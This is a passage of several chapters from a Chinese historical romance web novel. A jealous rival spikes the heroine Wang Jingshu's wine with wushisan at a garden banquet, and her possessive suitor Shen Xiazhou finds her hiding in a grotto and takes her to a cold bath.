她有的玩,顺便再赴个惠王的约拿回书画便是了。 不过这个陶娘子,真是见一面就有不一样的可恨,都显摆到她跟前了,她不做些什么岂不是说不过去? 她按辔笑语:“我自会到,倒是陶娘子,天色都要暗了,你还不早些去接你要接的人吗?” “王娘子难道不想知晓我去接谁吗?”陶然迟迟没有从王静姝那张令人羡的美人皮中,瞧得想见的神情,不甘地追问一句。 “与我何干?”王静姝极冷淡地下垂一眼,本就较高的马背,更是俯视一般。 她不再与陶然多交谈,扯马向城门。 陶然愤愤不已,她父亲如今已是幽州刺史,掌三郡,长公主更是有意抬举她,要留她与洛京世家联姻,虽未明说,但那人极其可能是沈三郎,否则,如何让她此去接迎沈三郎? 而从第一面就让她自惭行愧,也是出现就让沈三郎不再全力帮她的王娘子,好像从始至终就不将她放在眼里,即便到了如今,也还那么傲。 这种傲,极其地想让人将之摧毁。 她咬牙再望一眼那骑马远去的女郎,吩咐车夫:“加快速度。” 帷幔飘曳的通幰车再次滚动。 而在他们之后的王静姝陡地停了马,扭转马头,抬了手中的弓,一气呵成地搭箭,瞄准了她早就看好的方向与位置。 身旁的仆从们都还未反应,箭矢便已破风而去,射中了那通幰车的车柱,而他们做了坏事的女郎,一夹马肚,恍若不是她做的一般入城了,鲜艳的衣裙,一径地飘曳,所过之处,像是暖阳般绽出明华暖色。 众人也连忙当做不曾发现,也不是自家女郎做的尽快入了城。 第50章 第50章唯独差了一点心动 女郎使坏和逞强好胜常有之,不然也不会在过往与沈三郎闹得那般不可开交了。 但入洛以来这般举动却是第一次,跟随的众仆,从建业跟来的反应要快上一些,那些沈家的也早就见惯大风大浪地一瞬惊讶后跟上了女郎。 只慢一步的仍似听得那华美通幰车中传来的尖利女声。 王静姝虽未曾听得,但她心情尤其畅快,果然心中有不快就要及时发泄出来。 她觉得沈遐洲的担忧实没错,她就是个闲不住的女郎,这才两日的功夫,她就再次觉得沈遐洲是她随心所欲路上的绊脚石。 若非沈遐洲将她绑走,她的终身早就能定下来了。 也不会如今日这般还要自己斩断了情缘。 她是十分中意吕三郎的,家世足够高,为人又爽朗坦荡,与她也多有些共同爱好,面皮也不差。 唯独差了一点心动。 她自己也想不明白,她怎么就会偏爱沈遐洲那种面皮的郎君呢?想来想去觉得要怪年少时的那一眼,一直得不到才越容易惦记。 女郎思绪杂乱又漫无边际,快马冲入城后,她的马速就稍慢了下来,控制在一个不会与人冲撞了的度上。 许是她太常被人注视,有时对落在身上的目光总是能辨出些好恶来,她忽地顿住了马,环视四周,定鼎门这条街往来多是贵人,街道宽阔,也同样吸引了许多的行商之人,酒肆揽客商贩叫卖,一切都如常,方才不适的视线也像是她的错觉一般。 追上的仆从不解地跟在她身侧。 王静姝回神将不适甩开,决定还是不能因躲过了千秋宴这些家中来人的机会,太过开心,日后还是马车出行为好。 在女郎再次驾马而过后,也有一群人盯着她离去的方向比对着画像,其中一个曾见过她的卫士,更是点了头。 * 沈府。 沈二郎从日头高悬等到天色漫上彩色云霞,总算等到了表妹归家。 只见表妹飒飒然地下马,将缰绳扔给仆侍,奇怪瞅了他一眼, 躲避似的往自己院中走。 只一眼,沈二郎就知自己的信用在王表妹这里堪忧,甚至到了防备的地步。 沈二郎追上:“表妹今日可是同贵女们一同田猎?玩的可好?” “二表哥,你不要给我挖坑试探了,你想问什么直接一点。”王静姝停下脚步直接开口道。 沈二郎一开口,她就头皮发麻,关怀是关怀,可也太小心翼翼了些,还有些试探在里头。 她今日只约了吕三郎一人,二表哥不会连这个都要过问吧?二表哥是不是也该寻个差事做做了,她瞧他是越发的闲了。 沈二郎:“表妹今日可听到一些流言?” 王静姝当即反问:“什么流言?” 沈二郎倏地松了一口气,原来表妹还不知,他一日没能等到表妹,差点以外表妹是气恼得去寻三郎算账了,此刻,他也有些犹豫可要说了,可触及王静姝那毫不避让一定要知道的眼神,再想至外头那些关不住的嘴,他预防地道: “不管是何流言,表妹可千万不要放心上,我们沈家绝无与寒族通婚的意思。” “所以是有人要与寒族通婚了吗?” “是二表哥还是沈遐洲?” 沈二郎冷汗都要被王静姝惊吓了出来,连三郎的全名都喊了出来,可见表妹显然是猜到了,甚至怒了。 王静姝一瞬就想到了许多事,如出城的陶然,还有沈遐洲说过的,他帮陶然是因为长公主想抬举寒门武将。 怎么彻底地抬举呢,无疑是结亲了。 所以,陶然要去接的宾客是回京途中的沈遐洲吗? 足够美丽的女郎一旦怒了,那眼瞳便如有火一般,偏脸庞又冷肃无比,望得人心中生怯的同时,又不禁为她迷离的危险折服,欣赏她的美丽。 直到女郎走了,沈二郎还在那感慨,“三郎啊,不是二哥不帮你,我已替你表明我们沈家绝不屈服了,表妹剩余的怒火就等你自己受吧。” * 王静姝回了自己院中,唤竹苓出去打听具体的流言。 流言之所以为流言,说明其流传广,且非空穴来风。 沈二郎都知晓还主动与她提及的流言,不用费多大的劲,就已打听回了数个版本。 每一个版本都略有偏差,但都指向陶然,长公主有意为其与世家指婚,其中沈家首当其冲。 她在愤怒下,后悔故意将那一箭射歪了,她应该射得更准一些,给陶然个更大的教训。 甚至想牵了马,现在就去寻沈遐洲,问问那个麻烦郎君,他破坏了她许多的情缘,现在是要听话地娶旁人吗? 可冷静下来后,她就什么都不去做想了。 追逐郎君,那好似她多非沈遐洲不可似的,她已为他退让很多了,他不能总用那些暗地的手段来让她心软。 她是建业的王六娘子,即便在洛京越久,越知难以回去,那也合该是旁人来慕她。 翌日,众人只见花树后步来的女郎,纤腰一束,恰曳地的长裙如洒满金辉一般耀目,可比华裙更夺目的是女郎的姿容,粉颊艳色,乌眸潋滟,其姿其容世间再难寻。 也一同要去赏菊宴的沈莹夸张地瞠了目,表姐往日也美,可今日美得更过,美艳之余有种盛气逼人的锋锐,这种锋锐若是在旁的女郎身上,总有些说不出的倨傲,或是撑不起那种锐意,可在王表姐身上,她丝毫感不到为违和,只觉得她本就该如此。 若她是个男儿郎,她也不受控地想要追逐这般女郎,不管能不能追慕到,只要美人为她一顾,就足以令人开怀显摆。 “表姐,我扶你。” 沈莹尤想着,见王静姝要上马车,连忙从旁扶了一把,还极自然地为她规整了下裙摆。 被抢了活计的竹苓失笑,沈四娘子都被迷住了,也不枉她们娘子寅时就起了,又是妆点,又是挑选衣饰的。 娘子的想法总是风一阵火一阵,早前才放下些嫁人想法,一夜的功夫又重燃起了雄心壮志。 她能猜到娘子许是又被沈三郎刺激到了,可她并不反对娘子的所为,娘子奋起总好过为了一个郎君消沉的好。 况且,沈三郎所为实不是个好归宿,她只是有些担忧,担忧娘子和沈三郎会藕断丝连又争闹不休。 宴请所在为华林园,是一处皇家园林,内有诸多殿台楼阁,并植果木,各色秋菊更是举目可见。 能借来此处办宴,确实值得陶然显摆。 王静姝不着痕迹地掀了个白眼,宫女侍婢引她入席,席虽分男女两席,但各种游戏却是互通的。 她与相熟的女郎见过后,就有人邀她游戏。 对玩的她向来学的快,如今北地的各种游戏玩法,她即便说不上精通,但也能与人往来一二。 此刻,她加入的就是一名为樗蒲的游戏,氍毹上早已跪坐了几位郎君女郎,邀她的正是郑七郎,他热情无比,声声关切不断,询问她身体可好了,他送去府上看望的药可用得上…… 还道苦于不知她是去哪修养了,不然定然去探望。 王静姝笑着道谢,一瞬就如梨花照水般光华明丽,几位郎君争相为她介绍玩法。 将“五木”掷在昆山摇木做的“杯”中,按所掷的采数,在棋盘山行棋,可以相互追逐,也可以吃掉参与者的棋子,谁先走到最后就胜。 这些王静姝都知晓,唯一不同的是彩头,赢者可从输者身上任选一样值钱的事物,当做今日的捐物。 这无疑够吸引人又恰和了此宴的用意。 王静姝眉眼上扬地与众人玩做了一处。 沈莹在一旁瞧上了一会,就觉得二哥的担心都是多余的,表姐不如往常一样吗?哪里用得着她多照顾? 她才是没人照顾的可怜虫。 虽是这般想,但她也很快地与几位女郎玩上了弹棋。 然,也不过是小半刻的功夫,王静姝所在的氍毹上,有女郎忽然怒扔了五木,还骂一声“岛夷。” 周旁游戏的郎君女郎皆惊疑望去,尤其是几个同为南地出身的子弟,眼中闪过一丝不快。 “岛夷”既为骂海岛上的野蛮人,南北两地还未统一之时,南北两地常互看不起,互骂“岛夷”与“伧人”。 这都是极过分的骂法,也是南北子弟往来时彼此的忌讳。 王静姝就是被人这样指着鼻子骂了。 但她没有反骂一句“伧人”回去,这只会令北地的世家子弟生出同仇敌忾。 “薛娘子连输我,何至于骂人?”她嗓音悠缓自然,不显急躁地就让方吸引来的人知晓了缘由。 “五娘,莫要无理取闹。”郑七郎呵斥,薛五娘是他家中表妹,这样输了两次就气急了骂人,他脸上也觉无光。 尤其还是骂的王娘子,王娘子又如何看他,他无比歉意地看向王静姝,还不及再说些什么,薛五娘见郑七郎的态度,又来了脾性:“我如何无理取闹,你们分就是在让着这个岛夷,不然缘何每次都只有我的棋子被吃了,她总掷得卢采,也分明有问题?” 同玩一局的樗蒲的郎君面上有些尴尬,薛五娘后一句指责莫须有,可前一句,他们确实在遇到王娘子棋子时,放过了些。 再开口为王娘子说话时,就有些弱了气场,“王娘子总掷得卢采那是她自己运气好。” 有人点头。 但仍旧争论不休,还有人因薛五娘的张口“岛夷、岛夷”的,犯了南北两地士族的忌讳,更是站在了王静姝这边,洛京虽是北地,但也有不少南地子弟前来求学,亦或是的家中长辈入京为官的,再这样下去,就不止是两个女郎之间的争论了。 王静姝抛开了“五木”道:“薛娘子既觉得我投掷有问题,大可换一个“五木”,我们再玩一次。” “那些郎君眼睛都恨不得黏在你身上,我再与你玩,岂不还是输的份?”薛五娘当即反驳。 输赢于王静姝而言其实都不重要,而是要尽早解决了这矛盾,她是来赴宴与人交好,顺带再挑跳夫婿人选的,不是来与人争吵的,让步道:“那你想玩什么?我都可。”” 投壶,我与你比投壶。“薛五娘道,她不信投壶还能有人帮得了王静姝。 然她一说完,许多与王静姝相熟识的,都静默了一瞬,薛五娘可真是会挑。 王娘子投壶那是能单用一支箭反复投一百次,中一百次的高手,人家能用五木投掷出卢采或许真不是运气,但也绝对是有技巧的实力。 就连郑七郎也张了张口想阻止,他这表妹上个月才来郑家小住,还不识得王娘子的本事。 王静姝笑了地问:“你当真要与我比投壶,输了可别再说我作假了。” 薛五娘察觉到了些议论,可话已出口,仍旧倔强地要与王静姝比投壶。 她既确定,当即有仆侍搬来雕文饰金,高三尺的投壶。 投射用的不是箭杆,是特制的竹箭,而投壶内也装了许多的小豆,投中后箭矢会反弹出,比的是“骁”法投壶,就用一支箭,反复地投,直到落地不中为止。 越来越多的人被女郎们的比试吸引聚来。 王静姝先投,众人只见鲜衣女郎乌发委腰,腰间雪青丝绦与赪霞裙裾交织一处,修身长立间,容颜昳丽若灿霞,光华璀璨若明珠。 众人都目光都汇集在了女郎身上,为她风姿的倾倒,也为她容颜流连。 而中心的王静姝却心中计着数,随着她投中次数的递增,薛娘子的脸色越发地不好,她顶多能做到中七十,这已是极好的成绩,而王静姝却不断地超过这个数字。 当满百后,王静姝又不放心地多投了几次,继而接住了弹回的竹箭,冲薛五娘伸手示意。 薛五娘面上一会青一会白,最后竟哭了出来:“我不玩了。” 许是实在觉得没脸,转身就跑,郑七郎迟疑看看王静姝似还有话说,但薛五娘那儿又要他去看看看,只能无奈追薛五娘而去。 许多郎君女郎围着王静姝讨问技巧,王静姝寻席坐下,同人相谈不久,有仆侍前来相邀:“王娘子,我家殿下有物归还。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章“将王娘子引来我这。”…… 能被称为殿下,还有物归还的人,王静姝只能想到惠王。 果然,顺眼望去,惠王远远地对她笑。 他今日精神似不错,不显病气的身形挺直如松鹤,浅笑间浓郁的眉眼多了许多的华贵感。 王静姝被晃了一下眼,心觉惠王还是不病的时候更好看一些,而且他不显病时也就不会让她想到沈遐洲。 她避开周旁女郎的好奇,跟从侍者而去。 宴中实是人多,世家郎君女郎游戏一处,还有许多仆侍往来其间,光是走过,就能听得许多喁喁之声。 她兀地想起,曾听闻许多人议论过惠王,惠王丰秀清贵,为人也良善,是洛京中出了名的美郎君,但及至弱冠也没有婚配,盖因他那身子骨,许多医者皆道他活不过弱冠,即便如今已活过了弱冠,也仍旧没有人将女儿嫁于他。 这其实是很好猜测的,惠王有如今都是长公主的善待,他母族几乎等于没有,没有家世底蕴,空有华贵的身份,况那样的病体,就更没有女郎愿意嫁给他了。 王静姝虽是后来才得知这些的,还为其可惜了许久,可她思来想去还是没有将惠王排除在外,他出身是实打实的,况他一直与人为善,似还做一些经营,故而很是有钱。 他若是早死,于她也没有影响,她不但有王家做后盾,还依旧能背靠长公主与沈家,而且还可得到一个不错的身份,或许还有大笔的钱财。 所以,惠王与吕三郎一样,都曾是她夫婿的上上人选。 如果没有后面那些事的话—— 思绪到此,人也已近了身前,她屈礼一下,惠王也微扶她一下,王静姝没有避开。 惠王没有立即提及归还字画,反邀她四处走走一齐赏花,甚至夸道:“王娘子方才百骁实为精彩,可是有什么技巧不成?” 他眸光带柔,望着女郎似在讨教,又似在柔情示好。 王静姝目光偏一下,语中颇有几分可惜:“原来殿下唤我也是为了同我讨教。” 那种可惜似失望,又似乎惆怅,也像是在指责眼前的郎君难道就没有其他的可说了吗? 她实是个坏女郎,不想与人交的时候就冷淡待之,想与人交时,眼波微微勾一下,就足够郎君心中生出许多想法。 惠王下意识地就随着女郎的眼波而心动,像个毛头小子一般想做些解释,他苦笑一下:“王娘子可能不知,我自幼便不曾碰得刀枪弓箭,游戏也不曾。” 许是他说得太自苦,俊容上自然流露的空怔与幽微的可怜,有些与某个郎君重合,王静姝无端地就被触动一下。 她控制着自己移开视线,心中生出些气来,她抑不住地想,那个可恶的郎君是不是早就见到陶然了? 那他要如何?会被陶然请动来千秋宴吗?是不是又要为了托举寒族,与旁的女郎成对出现在她面前。 沈遐洲是有前科的,被抢走的陆先生,在气时,许多回忆都变得可憎了起来。 “王娘子……”惠王轻唤了王静姝两声。 王静姝目中幽火一瞬消失,眼眸弯一下,便有清水一般流动的波光:“殿下方才说什么了?我观金菊灿灿出了神,没能留神。” 足够美丽的女郎想做什么的时候,都是足够迷惑欺骗人的,即便明知她没有说实话,可谁又在意呢,惠王分明瞧出了她的心不在焉,可灿灿金菊映女郎华裙娇靥,日光也偏爱地打落在女郎莹白面容上,寻不到比冰肌玉骨更贴切的词了。 惠王微凝着女郎眼睫筛下的日光,南地来的女郎不止一个,可王娘子只有一个,他看中的也只有王娘子,王家在南地的底蕴足够深,王娘子也足够令人心动。 或许连他自己都早已不知在计量中藏了几多真情,他面上笑意越发雅润,可又不受控地微咳两声。 王静姝担忧凝他,建议:“殿下不如同我到那亭中歇歇吧。” 惠王没有拒绝,他在亭中坐下后,喝茶润了润,才带歉意地开口:“老毛病了,劳王娘子担忧了。” 王静姝凝他片刻,见他不似作假,心中生起了几分好奇,沈遐洲是中毒落下的毛病,但他还能习武,不作的时候身体也瞧不出毛病,可惠王的毛病又是从何来? 况这两人还是年岁相差不大的舅甥,实在令人好奇。 王静姝微咬了下唇,在犹豫着可要问。 惠王看出道:“王娘子可是想问我什么?” “殿下贵为皇室子弟,怎会患上这样难以根治的旧疾?”王静姝还是问出道。 惠王还不及回答,他身边一年轻侍者就控制不住地愤恨道:“这要怪宫中的恶奴,欺我主幼年无人照料,在宫廷中多有苛待,如此才落下了病根。” 惠王抬手一下,不让侍者继续说下去。 他微赧,像是羞于提及一般道:“我母妃犯了一些过错,在冷宫中生下了我,若非长公主照拂,我恐连皇子身份都不得被人承认。” 王静姝虽知道惠王母族出生不好,可严重到连皇子的身份都不被承认却是第一次知,可想在冷宫中过的是什么日子,这落下病根倒也难怪了。 王静姝为自己等同于揭伤疤的发问生出歉意:“我不该问及此,令殿下伤怀了。” 惠王并无责怪地摇头,甚至微透了一些他的病是能好的意味给王静姝,后又道:“娘子现在还觉得我是为同娘子讨教技巧吗?” “我实是对游戏半点不通。”惠王语气微叹,有种说不出的幽幽羡慕与期待:“娘子可能教我?” 王静姝微垂下眼睫思虑,她应该答应,她盛装的目的不就是为让郎君们慕她,可她心底又分明不愿更进一步地与旁的郎君交好。 她大概就是想气一气沈遐洲,告诉他,他的各种装可怜手段没用,她不会为此不断让步与等待,他身缠的那些麻烦也与她无关。 许是见女郎迟迟没有回应,惠王又不在意地笑道:“是我唐突了,娘子不必应我。” 他笑容温和,又友善体贴,偏浓郁的眉眼也被这种温和冲淡不少,就更显出了雅润的下颌,让人如沐春风的同时,又生出了那种熟悉感。 王静姝喜欢的那类郎君的熟悉感。 她答 应了,但又用了“下次‘的拖字诀。 盛情难却下,她还是收下了惠王给的谢礼,绑缚在她腕间的缠珠红绳,据说是大师开过光的祈福佛珠。 她不免垂头往席间走,宽慰自己道,至少字画取回来了,如此也算是少了一个往来。 席间女郎们闲聊许多,数次提及近来的流言与笑话—— “那陶娘子还想与沈家郎君联姻,真是笑话。” “她哪里配得,要我说她的舞根本不如王娘子,若非王娘子入洛京晚,没有寻得稳妥的举麾者,哪轮得到陶然的今日。” 被提及名的王静姝眉头微蹙地饮了一杯酒。 又有女郎压低声道:“我听我父亲说,是长公主想抬举她。” 一旦涉及朝堂,各家女郎也讳秘起来。 还有人不免抱怨:“我实都不想来,可这宴扯的大义,我不来岂不平白给了人说道的机会,好在大家都来了,我也就当这是个普通的宴。” …… 王静姝听着这些,无觉地喝了不少酒,她觉得这不应怪她,而是她席旁的侍者太勤快,她一饮完,就立马从酒罍中为她满上了。 许是身体好的原因,她的酒量其实还不错,但今日也不知是确实饮多了,还是席间人声太多,她从心底生出些燥热。 她再坐不下去,起身四处走走散散热气。 因宴中宾客太多,带来的仆侍婢女就更多了,为了宴兴,宾客的侍从女婢一般都另有安排,王静姝走了许久,由体内而发的燥热愈发地按捺不了,她尚存的理智已经觉得不对,目昏昏下看人都有了重影,她看谁都变得狰狞。 她试图从中辨出沈莹的身影,这宴中唯有沈莹不可能害她。 而在她寻人的这会功夫,另有人在惠王耳旁说了什么,他温和雅善的面孔一点一点敛了温和,像是过了许久,他才道:“将王娘子引来我这。” * 为王静姝奉酒的侍者,在王静姝离开后也借着换酒将酒罍抱出,慌张的缘故,她绊一下,酒罍飞而摔裂,有清酒泻出,她连忙爬起将碎裂的酒罍埋入就近的花坛里,继而去见了一位女婢。 那女婢左右瞧了无人,飞快递给她一袋银子。 待将人打发走了,才回禀一位遮面的女郎:“娘子,都办好了,那位娘子饮了掺了五石散的酒。” 遮面女郎目中划过阴狠,抚了抚不能见人的脸庞,踏步而出,她要亲眼见一见王静姝的丑态。 若王静姝在的话,定能认出此遮面女郎,无疑是前一日才被她用箭威吓过的陶然,她作为赏菊宴的筹办人之一,久久不出现,非是没碰到沈三郎,而是碰到的太早了。 她同沈三郎羞赧转达了来意,奉长公主所托,为沈三郎接风去秽,语中多有暗示那可能的赐婚之意。 没想,她才说完,那春水秀水一般俊美的郎君,竟能吐出极令人想不到的恶语,她上前想与郎君缓和开脱几句,沈三郎却忽地化身成了恶鬼。 他差点杀了她! 此刻想起,陶然仍旧恐惧得浑身颤抖。 幸运的是,她最后被放过了,可将她挥倒在地的力道却是实实在在的,她的脸—— 她的脸伤了。 她几乎是哭到昏厥,但她还有千秋宴,这是她踏入洛京世家子弟交往的重要一环。 她怎甘缺席。 然,宴上光华熠熠的女郎实在太多了,尤其是王娘子,若是让她也出丑就好了。 她如是想,一切也便这样发生了。 她隔着面遮又轻抚了抚脸,想到即将可见的丑态,又愉悦地笑了。 第52章 第52章“沈九如,是你吗?”…… 时下五石散虽都唤作“五石”,但这“五石”的配方各不相同,效用也不同,唯一的共通点就是药性皆燥热绘烈,服用后会全身发热,出现亢奋的症状,有的还会产生一种迷幻效果。 王静姝第一次服用就是误服,她对此完全陌生,完全不知该如何排解这股燥热,她有点想解衣,但理智还在的她只紧紧捏住了衣襟。 她知道自己的状态很是不对,不能再往人多的地方去寻沈莹了,她必须离开,她双眼亮得惊人,脸庞也泛红。 可她的意志又极强,甚至还能控制着自己的步态,去避开那些衣着鲜亮的郎君和女郎,她觉得她经不住任何一个人关怀,也信不过任何一个人。 她该找个没人的屋舍,熬过药力,或是等待沈莹和竹苓等人的寻来。 渐渐加重的目中重影出现了一个人,王静姝有些辨不清来人面容,但是声音有些熟悉,好似今日不久前就听过,语中是关切,又像是碰巧撞见一般地惊讶“王娘子你这是这么了”,而且就要带她去寻惠王帮助。 惠王、惠王,王静姝咀嚼着这个名号,想起哪里听过这个声音了,是惠王身边的仆侍,旁人的仆侍都留在宴外,有事时才令人去传唤,而这宴本就有惠王的一份辛劳在里头,算是宴会的主人,他身边跟着的是他自己的仆侍,或者说,整个席宴所有安排的侍从都有经惠王的手。 王静姝没有为遇到惠王身边的人感到庆幸,甚至有一股寒凉漫遍全身,令她更冷静了几分,她记得的,沈遐洲曾说过,惠王给沈二郎的茶水中下过药,那怎么能保证她酒中的问题与惠王无关呢? 她没有吭声,那仆侍只当她答应了,在前侧为她引路,无意地觑一眼,只见美丽至极的女郎眸中的水光像是要漾出来一般,被迷离地望上一眼,不止骨头酥了,魂魄也不禁跟着荡漾。 他不敢再多看地心中唏嘘,难怪殿下会喜爱王娘子,这样的美人,没有人能抗拒得了,也自不会放任她被人陷害了去。 只是今日一过,怕是他们府中就能多上一个女主人了。 仆侍尤想着,却忽地惊觉不对地扭头。 女郎只跟从了他几步而已,在他空想之际,就已毫不迟疑地折身逃走了。 仆侍只来得及见着女郎的一片裙裾消失在洞门处。 坏了!王娘子若是出事真落到了旁人手上,殿下便是再好脾气也定然饶不了他,他不做想地就去追。 王静姝缩身在一石洞内,听得脚步声过了,才小心翼翼地将自己的裙裾拖曳的一点尾巴全缩了进来。 她抱着自己的双臂,紧咬着下唇,祈祷着这不断上涌的燥热能尽快结束。 许是没有安全感,她半分也不敢松开一点衣襟,兀自冒了许多的汗,脸颊愈发的红,额汗湿透了鬓发。 越发难耐时,有一片男子衣袍的袍角闯入她眼帘,那袍摆色纯,但有金银花边,她不甚清醒的脑子不断想着今日见过的什么人是这个色,又是这样的衣袍。 她本是个极高傲的女郎,可此刻却经不住地微缩一下,沈遐洲望得心都缩痛了,眼底如血网一般的血丝漫涌着杀意,他恨不得杀了宴中的所有人。 他应早些来,怪他先入了宫,与长公主僵闹了许久,又回沈府时,才知王静姝去了赏菊宴,摆脱开沈二郎的絮叨,甫一到了华林园,先遇得了焦急的沈莹,她道王静姝不见了,而且不论是明暗都有人在寻王静姝,就像是有人在推动一样。 沈莹实在拿不定主意,让自己和表姐的侍婢都入宴找,好在这时遇到了三哥,一股脑地就将自己的发现说了。 沈遐洲心中咯噔,施展轻功四处寻找,直到从高处望见了石洞中藏着的一片色彩。 他弯腰探入了狭矮的石洞。 王静姝迷离抬眼,隽逸流畅的下颌线条无比熟悉,但想到可能性,她微哑地出声询问:“可是惠王殿下?” 沈遐洲眼眸倏地变得尖锐,继而望见女郎的腕间,缠珠红绳赤红夺目,他曾在惠王手中见过,是惠王不离身的佛佑之物。 一瞬的功夫,他已然能猜得女郎来此是见了谁,她是又动摇了?又不想与他继续试试了? 年轻郎君百感交集,捏着女郎下颌将她脸颊抬起:“王静姝,你好好瞧清楚我是谁?” 他目 中隐有狂意流泻,即便女郎不甚清醒,他也执拗地盯着女郎嫣红的双唇,想女郎认出来寻她的是谁。 王静姝身上的体温很高,而捏来的郎君手又带着一阵微凉,她并未听清郎君问的是什么,只是本能的有些贪恋那点凉意,双手攀上那微凉的手,向上摸索。 郎君被其她攀附摸索得心中一阵发痒又一阵泛酸,她摸的谁?心里想的谁?惠王吗? 想到此,他冷着脸将女郎的手往下撸。 王静姝本就久蹲,又靠着攀附郎君手臂的那点力道向上,此刻双臂被人一撸,半身就禁不住地向前扑。 她会摔落在洞中潮湿的地面上! 沈遐洲瞳孔紧缩一下,身体先做出判断地矮身去接她。 这个石洞内里空间并不算小,但极矮,许多动作根本不便施展,而此刻,沈遐洲便是用自身去接的女郎。 外头的阳光也只洒落一半,只能照到跌坐两人肩下的部分,王静姝自郎君的怀中爬起身,双手伴着迷离的神志向上,她摸到了郎君的脸颊,自上而下地俯看他,“沈九如,是你吗?” 她越努力辨认,放大的面容靠得越近。 她有点贪恋从郎君身上传来的丝丝凉意,面颊径直贴上了郎君的面颊,发出舒服的喟叹。 那种舒畅又愉悦的喟叹与女郎平日里的嗓音全然不同,柔媚又娇气,直吟得人血液逆流,胸腹下坠。 女郎修长的玉颈上扬,交颈一般贴着郎君,她又问了一次:“沈九如,是你吗?” 她问得有些发虚,还有些控制不住的细喘,她非常热,沈遐洲甚至能清晰感到她的滴汗,顺着他们相贴着肌肤滑入了他的衣襟。 五石散是需要发散的,可女郎因种种原因,非但不曾发散,还将自己捂得越发紧,这股无处可散的绘烈燥热早已令她神志不清,又产生了另一种迷幻亢奋。 可她实是叛逆,别人越期待她什么,她越不回应,有人想引她去见惠王,她也偏不去,直到等到了沈遐洲,她仍在一遍遍呢喃着确认:“是你吗?” “是我。” 沈遐洲被女郎的一声声低问,问得心神摇曳,他低沉着嗓音回应,扶手去支撑她。 而王静姝心中的那根名为防备的弦也终于断了般地放开了自己,她呼吸胡乱地喷在郎君脖颈、下颌、耳后…… 她抓着他的手搂她的腰,乌黑的发散逶迤散落在两人的胸前,乃至地上。 衣带被蹭开,衣襟也散开,那股热意终于有了出处般地令她感到轻松。 沈遐洲发红的眼望着她,他无法忽视也无法忍受女郎扑跪在他身前绮丽夺目的美。 呼吸都在变得加重,掐在女郎腰肢处的手不受控地收紧,耳目聩聩发昏地期待更多。 目光一旦黏上就无法移开的莹白肌肤,完完整整看清的红色小痣,还有那捧雪一般的半丘,轻触上女郎锁骨的指尖都在发颤,他的体温无限地在升高,甚至堪比中药了的女郎,乌睫不断地颤,既端正羞赧,又欲色加重。 他一鼓作气地将女郎的衣襟合上了。 才轻松不到片刻的王静姝都怔愣住了,她热啊。 她又去向下扯动,可郎君实在替她揪得紧。 无法下,她不满地用那雾濛濛又像带钩子一般的眼,一眼又一眼地渴望郎君,甚至顺势地握上了郎君的手,倾身下压,撒着娇道:“沈九如,我好热。” “你帮帮我好不好?” 她实是个会勾缠人的坏女郎,她无章法地索吻,乱动,柔弱无骨一般的手也在郎君冰滑的衣料上肆意寻求着凉意。 沈遐洲先是被迫感受到了那小丘处的绵软与温热,继而浑身被点燃了一般地亢奋,他在一瞬松了手中的力道,似放纵又似疯狂地托着女郎吻做一处,浑身像是淌入热油一般。 女郎显然地极不满这种升高的温度,她不再满足于这种衣料相贴,拉扯下,伸手探入了郎君的衣襟,柔软指骨与郎君肌肤毫无阻隔的相贴,实际体温上的差距令她感到满足,继而想要更多。 沈遐洲也被这一触下,神魂都与之颤动,快意与理智并存,他瞳仁骤缩地在女郎后颈处拍下一掌。 女郎软了身地靠落在他肩处。 沈遐洲胸膛起伏不止,脖颈至上也全是湿红,他垂眸下瞭一眼,便是女郎露在外的圆润肩头,他又浮上害羞地小心翼翼伸手将女郎下滑的衣襟上扯,直到一切都归于正常,他才矮身抱着女郎出了石洞。 然也是这么一瞬的功夫,他面上的羞赧与情、欲就退却得再难寻,取而代之的是一种汹涌的报复欲与腾腾杀气。 他已能肯定王静姝是服用了五石散,他曾无数次见过服用过五石散之人会如何形容,敞衣行散,精神亢奋,若是服用不适当,并不能及时行散,就会如王静姝这般失控。 他朝着在不远处守着不让来人的卫士打了几个手势。 卫士便知,今日是善了不了了。 而轻功甚好的郎君继续抱着昏睡过去的女郎,在屋宇上不断起跃,继而落在一处极大的浴池处。 第53章 第53章有点痛还有点刺激。…… 这是距华林园不远的天渊阁,有名泉,浴池中水便是从外泉中引入,沈遐洲伸入池水中试温一下,收手去看怀中昏睡也不安宁的女郎。 半靠着他的王静姝难受嘤声,那些久不得发散的药力,让她像被火蒸烧一般难以忍受,她不自觉地扭动。 沈遐洲脸红如滴,伸手想为她解开外衣的手颤颤如老迈病者,即便先才都已瞧过了不少,可他心中仍旧欲念甚多,羞赧也甚多,多到不敢去为她解衣。 他能见她玉颈修长,延伸向下的鲜色衣衫纱一层锦一层,但都轻薄贴身无比,纤腰一搦,更是线条美丽,尤其是有弧度的丰盈处,稍接近些,就不受控地想起先前瞧见的风光。 他鼻翼痒痒,最后只解了女郎手腕上那早就看不顺眼的缠珠红绳,内劲下,任是开过光再深厚的佛缘都化为了齑粉。 王静姝是连衣一起浸入冷池中的,四面八方涌来的凉意令她昏沉中都舒展了眉眼。 不多时,她就睁开了眼,目色仍旧迷离茫然,身上也一波一波的热意上涌,也仍旧使不上力气,需攀着些什么才能不溺入水中。 她主动张开双臂,搂住了她唯一能借力的人。 明明是冰冷池中,却无人能察觉到凉意,沈遐洲不争气地淌下了鼻血,他手忙脚乱,一边要仰头捂鼻避开能落在女郎身上的视线,一边又要支撑住女郎。 然即便避开了视线,他也能感受那浸透了水,透过衣裳软蓬蓬贴上来的身躯,那是属于女郎才有柔软,她双臂环绕住了他的腰,美丽泛着潮红的面庞轻靠在了他的肩上,吐息轻慢。 冷与热时时侵着她,令她总不自觉地向外寻求着些什么。 沈遐洲被她的寻求生出一片似快意又偏要克制的轻颤,不禁咬住了牙关。 简直要命! 王静姝简直是生来克他的。 她总是能让他极有感觉,他也爱极了她的主动,可他们又存在本质的差别。 他不像她那样只想贪片刻欢愉。 他固然疯,可又同样端然无比,那是作为沈氏子弟自小受到的教导,深刻在骨子里的端正,他既想与她共沉沦,又会想不该如此。 不该不分场合,不该在她不甚清醒的时候,也不该总顺了她的意…… 总之,就是有很多的缘由。 而且—— 王静姝是个无状的坏女郎,她要是不满意怎么办? 想到此,他双眼又乌沉沉地下落到女 郎身上,她实在可恶,就几日的功夫,她怎就收了旁人不离身的佛珠? 果然,他强行将她带离是对的。 沈遐洲从肩处掰过女郎的脸颊,望着她绯红迷离的面庞,神情变得极为不对劲,那种安全感的缺乏,让他极想对她身上留下些什么。 